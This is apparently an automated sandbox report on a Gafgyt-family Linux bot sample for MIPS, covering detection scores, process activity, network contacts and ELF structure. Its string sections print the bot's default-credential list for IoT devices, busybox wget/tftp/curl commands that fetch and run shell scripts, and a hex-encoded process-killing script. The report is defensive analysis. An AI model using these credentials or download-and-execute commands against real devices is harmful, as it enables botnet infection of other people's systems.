Edit tour

Linux Analysis Report
la.bot.mipsel.elf

Overview

General Information

Sample name:	la.bot.mipsel.elf
Analysis ID:	1545786
MD5:	dcdd2c68d1e8dcef8abeba06da4dc855
SHA1:	28d92e72d408f2ef93acd89801344a2489191e75
SHA256:	ac2df391ede03df27bcf238077d2dddcde24cd86f16202c5c51ecd31b7596a68
Tags:	elfuser-abuse_ch
Infos:

Detection

Score:	48
Range:	0 - 100
Whitelisted:	false

Signatures

Multi AV Scanner detection for submitted file

Executes the "rm" command used to delete files or directories

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1545786
Start date and time:	2024-10-31 01:17:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 36s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	la.bot.mipsel.elf
Detection:	MAL
Classification:	mal48.linELF@0/0@0/0

Runtime Messages

Command:	/tmp/la.bot.mipsel.elf
PID:	6229
Exit Code:	139
Exit Code Info:	SIGSEGV (11) Segmentation fault invalid memory reference
Killed:	False
Standard Output:
Standard Error:	qemu: uncaught target signal 11 (Segmentation fault) - core dumped

Process Tree

system is lnxubuntu20

la.bot.mipsel.elf (PID: 6229, Parent: 6152, MD5: 0d6f61f82cf2f781c6eb0661071d42d9) Arguments: /tmp/la.bot.mipsel.elf

dash New Fork (PID: 6275, Parent: 4331)

rm (PID: 6275, Parent: 4331, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.zZaBA6yhbZ /tmp/tmp.qT7mHOPYQA /tmp/tmp.h0v91ytZer

dash New Fork (PID: 6276, Parent: 4331)

rm (PID: 6276, Parent: 4331, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.zZaBA6yhbZ /tmp/tmp.qT7mHOPYQA /tmp/tmp.h0v91ytZer

cleanup

Yara Signatures

⊘No yara matches

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: la.bot.mipsel.elf

ReversingLabs: Detection: 34%

Source: la.bot.mipsel.elf	String: ash\|login\|wget\|curl\|tftp\|ntpdate\|ftp
Source: la.bot.mipsel.elf	String: '/proc//exe\|ash\|login\|wget\|curl\|tftp\|ntpdate\|ftp/lib//lib64//fd/mountinfo/dev/null\|/dev/consolesocket\|proc/usr/bin/usr/sbin/system/mnt/mtd/app/org/z/zbin/home/app/dvr/bin/duksan/userfs/mnt/app/usr/etc/dvr/main/usr/local/var/bin/tmp/sqfs/z/bin/dvr/mnt/mtd/zconf/gm/bin/home/process/var/challenge/usr/lib/lib/systemd//usr/lib/systemd/system/system/bin//mnt//home/helper/home/davinci/usr/libexec//sbin//bin//proc/net/tcp/proc/fd//proc/self/exe/. /proc/
Source: la.bot.mipsel.elf	String: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- \| sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var/tmp//dev//dev/shm//etc//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63\x2F\x2A\3B""\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A\x20\x20\x23\x20\x53\x6B\x69\x70\x20\x6E\x6F\x6E\x2D""\x6E\x75\x6D\x65\x72\x69\x63\x20\x64\x69\x72\x65\x63\x74\x6F\x72\x69\x65\x73\x0A\x20\x20\x69\x66\x20\x21\x20\x5B\x20\x22\x24\x70\x69\x64\x22\x20\x2D\x65""\x71\x20\x22\x24\x70\x69\x64\x22\x20\x5D\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x63\x6F\x6E\x74""\x69\x6E\x75\x65\x0A\x20\x20\x66\x69\x0A\x0A\x20\x20\x23\x20\x47\x65\x74\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x6F\x66""\x20\x74\x68\x65\x20\x70\x72\x6F\x63\x65\x73\x73\x0A\x20\x20\x63\x6D\x64\x6C\x69\x6E\x65\x3D\x24\x28\x74\x72\x20\x27\x5C\x30\x27\x20\x27\x20\x27\x20\x3C""\x20\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x63\x6D\x64\x6C\x69\x6E\x65\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x23""\x20\x43\x68\x65\x63\x6B\x20\x69\x66\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x63\x6F\x6E\x74\x61\x69\x6E\x73\x20\x22\x64""\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x0A\x20\x20\x69\x66\x20\x65\x63\x68\x6F\x20\x22\x24\x63\x6D\x64\x6C\x69\x6E\x65\x22\x20\x7C\x20\x67\x72\x65\x70\x20\x2D""\x71\x20\x22\x64\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64""\x22\x0A\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Source: /tmp/la.bot.mipsel.elf (PID: 6229)

Socket: 127.0.0.1:1234

Jump to behavior

Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 54.171.230.55
Source: unknown	TCP traffic detected without corresponding DNS query: 54.171.230.55
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42

Source: la.bot.mipsel.elf	String found in binary or memory: http:///curl.sh
Source: la.bot.mipsel.elf	String found in binary or memory: http:///wget.sh

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 33606
Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 33606 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443

Source: Initial sample	String containing 'busybox' found: usage: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox hostname FICORA
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample	String containing 'busybox' found: /wget.sh -O- \| sh;/bin/busybox tftp -g
Source: Initial sample	String containing 'busybox' found: -r tftp.sh -l- \| sh;/bin/busybox ftpget
Source: Initial sample	String containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep
Source: Initial sample	String containing 'busybox' found: usage: busyboxincorrectinvalidbadwrongfaildeniederrorretryGET /dlr. HTTP/1.0
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne >> > upnp
Source: Initial sample	String containing 'busybox' found: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- \| sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var

Source: ELF static info symbol of initial sample

.symtab present: no

Source: classification engine

Classification label: mal48.linELF@0/0@0/0

Source: /usr/bin/dash (PID: 6275)	Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.zZaBA6yhbZ /tmp/tmp.qT7mHOPYQA /tmp/tmp.h0v91ytZer			Jump to behavior
Source: /usr/bin/dash (PID: 6276)	Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.zZaBA6yhbZ /tmp/tmp.qT7mHOPYQA /tmp/tmp.h0v91ytZer			Jump to behavior

Source: /tmp/la.bot.mipsel.elf (PID: 6229)

Queries kernel information via 'uname':

Jump to behavior

Source: la.bot.mipsel.elf, 6229.1.000055ca05d29000.000055ca05dd0000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/mipsel
Source: la.bot.mipsel.elf, 6229.1.000055ca05d29000.000055ca05dd0000.rw-.sdmp	Binary or memory string: U!/etc/qemu-binfmt/mipsel
Source: la.bot.mipsel.elf, 6229.1.00007ffd9eab9000.00007ffd9eada000.rw-.sdmp	Binary or memory string: Fx86_64/usr/bin/qemu-mipsel/tmp/la.bot.mipsel.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/la.bot.mipsel.elf
Source: la.bot.mipsel.elf, 6229.1.00007ffd9eab9000.00007ffd9eada000.rw-.sdmp	Binary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped
Source: la.bot.mipsel.elf, 6229.1.00007ffd9eab9000.00007ffd9eada000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-mipsel

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	1 File Deletion	OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
la.bot.mipsel.elf	34%	ReversingLabs	Linux.Backdoor.Gafgyt

Dropped Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Contacted Domains

⊘No contacted domains info

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http:///wget.sh	la.bot.mipsel.elf	false		unknown
http:///curl.sh	la.bot.mipsel.elf	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
54.171.230.55	unknown	United States	16509	AMAZON-02US	false
109.202.202.202	unknown	Switzerland	13030	INIT7CH	false
91.189.91.43	unknown	United Kingdom	41231	CANONICAL-ASGB	false
91.189.91.42	unknown	United Kingdom	41231	CANONICAL-ASGB	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54.171.230.55	ppc.elf	Get hash	malicious	Unknown	Browse
	zmap.x86_64.elf	Get hash	malicious	Okiru	Browse
	na.elf	Get hash	malicious	Gafgyt, Mirai	Browse
	qkehusl.elf	Get hash	malicious	Gafgyt, Mirai, Okiru	Browse
	boatnet.arm6.elf	Get hash	malicious	Mirai	Browse
	.i.elf	Get hash	malicious	Unknown	Browse
	la.bot.arm6.elf	Get hash	malicious	Unknown	Browse
	la.bot.arc.elf	Get hash	malicious	Mirai	Browse
	sshd.elf	Get hash	malicious	Unknown	Browse
	linux_arm6.elf	Get hash	malicious	Chaos	Browse
109.202.202.202	kpLwzBouH4.elf	Get hash	malicious	Unknown	Browse	ch.archive.ubuntu.com/ubuntu/pool/main/f/firefox/firefox_92.0%2bbuild3-0ubuntu0.20.04.1_amd64.deb
91.189.91.43	la.bot.arm5.elf	Get hash	malicious	Unknown	Browse
	tftp.elf	Get hash	malicious	Unknown	Browse
	la.bot.m68k.elf	Get hash	malicious	Unknown	Browse
	la.bot.sparc.elf	Get hash	malicious	Unknown	Browse
	la.bot.mips.elf	Get hash	malicious	Unknown	Browse
	sshd.elf	Get hash	malicious	Unknown	Browse
	.i.elf	Get hash	malicious	Unknown	Browse
	arm7.elf	Get hash	malicious	Unknown	Browse
	arm5.elf	Get hash	malicious	Unknown	Browse
	vyF78wLbUr.elf	Get hash	malicious	Unknown	Browse
91.189.91.42	la.bot.arm5.elf	Get hash	malicious	Unknown	Browse
	tftp.elf	Get hash	malicious	Unknown	Browse
	la.bot.m68k.elf	Get hash	malicious	Unknown	Browse
	la.bot.sparc.elf	Get hash	malicious	Unknown	Browse
	la.bot.mips.elf	Get hash	malicious	Unknown	Browse
	sshd.elf	Get hash	malicious	Unknown	Browse
	.i.elf	Get hash	malicious	Unknown	Browse
	arm7.elf	Get hash	malicious	Unknown	Browse
	arm5.elf	Get hash	malicious	Unknown	Browse
	vyF78wLbUr.elf	Get hash	malicious	Unknown	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CANONICAL-ASGB	la.bot.arm5.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	tftp.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	la.bot.m68k.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	la.bot.sparc.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	la.bot.mips.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	sshd.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	.i.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	arm7.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	arm5.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	vyF78wLbUr.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
CANONICAL-ASGB	la.bot.arm5.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	tftp.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	la.bot.m68k.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	la.bot.sparc.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	la.bot.mips.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	sshd.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	.i.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	arm7.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	arm5.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	vyF78wLbUr.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
AMAZON-02US	Arquivo_4593167.msi	Get hash	malicious	AteraAgent	Browse	13.35.58.7
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	18.244.18.38
	Paiement.eml	Get hash	malicious	HTMLPhisher	Browse	76.76.21.98
	zte.elf	Get hash	malicious	Unknown	Browse	34.249.145.219
	https:/click.mailchimp.com/track/click/30010842/docsend.com?p=eyJzIjoiT2RaN0hwNHlyY2E3VXl5TWcwMlA2eFpHVlN3IiwidiI6MSwicCI6IntcInVcIjozMDAxMDg0MixcInZcIjoxLFwidXJsXCI6XCJodHRwczpcXFwvXFxcL2RvY3NlbmQuY29tXFxcL3ZpZXdcXFwvZzZnYzZjazdtNHlkYTRpa1wiLFwiaWRcIjpcImNhZDg3NzI1Y2UzMjRiMzI4Yzk1ZGVkYWUyMzc4ZTZjXCIsXCJ1cmxfaWRzXCI6W1wiYzE5ZWU5NGJiMzA5YmZhOGQ2MDU3OGI1Mjk5NTFmOWE4NDQ0ODNhYVwiXX0ifQ#steven.davis@tu.edu	Get hash	malicious	HTMLPhisher	Browse	18.239.36.13
	https://share.hsforms.com/11zbkP7dfTBO0LgTS5dCN0Asixz3	Get hash	malicious	Mamba2FA	Browse	18.245.31.89
	https://app.pandadoc.com/document/v2?token=abf6587d58630a40e08d0ad15de8202e2e9c4af5	Get hash	malicious	Unknown	Browse	99.86.8.175
	(No subject) (100).eml	Get hash	malicious	Tycoon2FA	Browse	108.138.217.58
	https://www.canva.com/design/DAGVD7_HMvQ/PFkDB3TDx6Ru4nNALhSqqQ/view?utm_content=DAGVD7_HMvQ&utm_campaign=designshare&utm_medium=link&utm_source=editor	Get hash	malicious	Unknown	Browse	18.245.187.2
	Reminders for Msp-partner_ Server Alert.eml	Get hash	malicious	HTMLPhisher	Browse	54.73.203.83
INIT7CH	la.bot.arm5.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	tftp.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	la.bot.m68k.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	la.bot.sparc.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	la.bot.mips.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	sshd.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	.i.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	arm7.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	arm5.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	vyF78wLbUr.elf	Get hash	malicious	Unknown	Browse	109.202.202.202

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

⊘No created / dropped files found

Static File Info

General

File type:	ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
Entropy (8bit):	5.509981136418855
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	la.bot.mipsel.elf
File size:	103'320 bytes
MD5:	dcdd2c68d1e8dcef8abeba06da4dc855
SHA1:	28d92e72d408f2ef93acd89801344a2489191e75
SHA256:	ac2df391ede03df27bcf238077d2dddcde24cd86f16202c5c51ecd31b7596a68
SHA512:	002165397605dd6d7a871130b444113716f07fe2cf569669b500f8fbc5dffa4099c19d4eb81be320d8f4209a0593eeb3c6f0c503825c5e3853542e899693cbd9
SSDEEP:	1536:yQq+JlV/YYYcR8jONSE1TZvOE73liXCEAQh9CsxBpZ9ICThHnzsT4v:yQq+JlVYYYcR8jXE1TFO8aJpdHn1
TLSH:	42A3A40ABB600EF7E89FCC3705F95B0624CC551A21A47BB67974E828FA5B10F4AD3C64
File Content Preview:	.ELF....................`.@.4...........4. ...(...............@...@...........................E...E......P..........Q.td...............................<...'!......'.......................<...'!... .........9'.. ........................<x..'!...$........g9

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	MIPS R3000
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x400260
Flags:	0x1007
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	102800
Section Header Size:	40
Number of Section Headers:	13
Header String Table Index:	12

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x400094	0x94	0x8c	0x0	0x6	AX	4
.text	PROGBITS	0x400120	0x120	0x16730	0x0	0x6	AX	16
.fini	PROGBITS	0x416850	0x16850	0x5c	0x0	0x6	AX	4
.rodata	PROGBITS	0x4168b0	0x168b0	0x1af0	0x0	0x2	A	16
.ctors	PROGBITS	0x4583a4	0x183a4	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x4583ac	0x183ac	0x8	0x0	0x3	WA	4
.data.rel.ro	PROGBITS	0x4583b8	0x183b8	0x4f8	0x0	0x3	WA	4
.data	PROGBITS	0x4588b0	0x188b0	0x3c0	0x0	0x3	WA	16
.got	PROGBITS	0x458c70	0x18c70	0x4c8	0x4	0x10000003	WAp	16
.sbss	NOBITS	0x459138	0x19138	0x28	0x0	0x10000003	WAp	4
.bss	NOBITS	0x459160	0x19138	0x42e8	0x0	0x3	WA	16
.shstrtab	STRTAB	0x0	0x19138	0x56	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x400000	0x400000	0x183a0	0x183a0	5.5041	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0x183a4	0x4583a4	0x4583a4	0xd94	0x50a4	4.4174	0x6	RW	0x10000	.ctors .dtors .data.rel.ro .data .got .sbss .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 31, 2024 01:17:56.812788963 CET	43928	443	192.168.2.23	91.189.91.42
Oct 31, 2024 01:18:02.188076973 CET	42836	443	192.168.2.23	91.189.91.43
Oct 31, 2024 01:18:03.211961985 CET	42516	80	192.168.2.23	109.202.202.202
Oct 31, 2024 01:18:18.313932896 CET	43928	443	192.168.2.23	91.189.91.42
Oct 31, 2024 01:18:23.534871101 CET	33606	443	192.168.2.23	54.171.230.55
Oct 31, 2024 01:18:23.539926052 CET	443	33606	54.171.230.55	192.168.2.23
Oct 31, 2024 01:18:23.540002108 CET	33606	443	192.168.2.23	54.171.230.55
Oct 31, 2024 01:18:28.552469015 CET	42836	443	192.168.2.23	91.189.91.43
Oct 31, 2024 01:18:32.647820950 CET	42516	80	192.168.2.23	109.202.202.202
Oct 31, 2024 01:18:59.268117905 CET	43928	443	192.168.2.23	91.189.91.42

System Behavior

Analysis Process: la.bot.mipsel.elf PID: 6229, Parent PID: 6152

General

Start time (UTC):	00:17:54
Start date (UTC):	31/10/2024
Path:	/tmp/la.bot.mipsel.elf
Arguments:	/tmp/la.bot.mipsel.elf
File size:	5773336 bytes
MD5 hash:	0d6f61f82cf2f781c6eb0661071d42d9

Chronological Activities

Analysis Process: dash PID: 6275, Parent PID: 4331

General

Start time (UTC):	00:18:22
Start date (UTC):	31/10/2024
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: rm PID: 6275, Parent PID: 4331

General

Start time (UTC):	00:18:22
Start date (UTC):	31/10/2024
Path:	/usr/bin/rm
Arguments:	rm -f /tmp/tmp.zZaBA6yhbZ /tmp/tmp.qT7mHOPYQA /tmp/tmp.h0v91ytZer
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

Chronological Activities

Analysis Process: dash PID: 6276, Parent PID: 4331

General

Start time (UTC):	00:18:22
Start date (UTC):	31/10/2024
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: rm PID: 6276, Parent PID: 4331

General

Start time (UTC):	00:18:22
Start date (UTC):	31/10/2024
Path:	/usr/bin/rm
Arguments:	rm -f /tmp/tmp.zZaBA6yhbZ /tmp/tmp.qT7mHOPYQA /tmp/tmp.h0v91ytZer
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report la.bot.mipsel.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Runtime Messages

Process Tree

Yara Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Network Port Distribution

TCP Packets

System Behavior

Analysis Process: la.bot.mipsel.elf PID: 6229, Parent PID: 6152

General

Chronological Activities

Analysis Process: dash PID: 6275, Parent PID: 4331

General

Chronological Activities

Analysis Process: rm PID: 6275, Parent PID: 4331

General

Chronological Activities

Analysis Process: dash PID: 6276, Parent PID: 4331

General

Chronological Activities

Analysis Process: rm PID: 6276, Parent PID: 4331

General

Chronological Activities

Linux Analysis Report
la.bot.mipsel.elf